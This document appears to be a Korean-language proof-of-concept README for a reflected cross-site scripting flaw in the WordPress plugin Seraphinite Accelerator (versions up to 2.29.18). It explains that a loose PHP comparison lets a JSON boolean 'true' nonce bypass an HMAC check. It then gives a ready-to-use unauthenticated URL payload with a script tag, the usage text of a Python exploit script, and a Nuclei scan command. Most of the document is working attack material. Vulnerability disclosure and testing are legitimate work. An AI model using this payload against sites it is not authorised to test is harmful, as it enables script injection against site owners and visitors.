
Seraphinite Accelerator <= 2.29.18 - 반사형 크로스 사이트 스크립팅 PoC
이 플러그인은 내부의 "prepare page" 요청을 seraph_accel_prep 매개변수(base64로 인코딩된 JSON)의 HMAC으로 서명하지만, 이를 PHP의 느슨한 != 연산자와 비교합니다. nonce로 JSON 불리언 true를 보내면 비교가 항상 통과하며, selfTest 필드는 이스케이프되지 않은 채 selfTest-<value>로 다시 에코됩니다.
단일 URL, 인증 불필요:
http://TARGET/?seraph_accel_prep=<base64 of {"_tm":"1","nonce":true,"selfTest":"<script>alert(document.domain)</script>"}>
Python (pip install requests 필요):
usage: seraph_accel_xss.py [-h] --url URL [--payload PAYLOAD] [--timeout TIMEOUT]
Seraphinite Accelerator (WordPress) <= 2.29.18
options:
-h, --help show this help message and exit
--url URL target site, e.g. http://target-site.com
--payload PAYLOAD XSS payload (default: <script>alert(document.domain)</script>)
--timeout TIMEOUT seconds (default: 30)
Nuclei:
nuclei -u http://target-site.com -t seraphinite-accelerator-prep-xss.yaml -timeout 10
-timeout 10이 필요한 이유는 취약한 코드 경로가 응답하기 전에 5초 동안 대기(sleep)하기 때문입니다.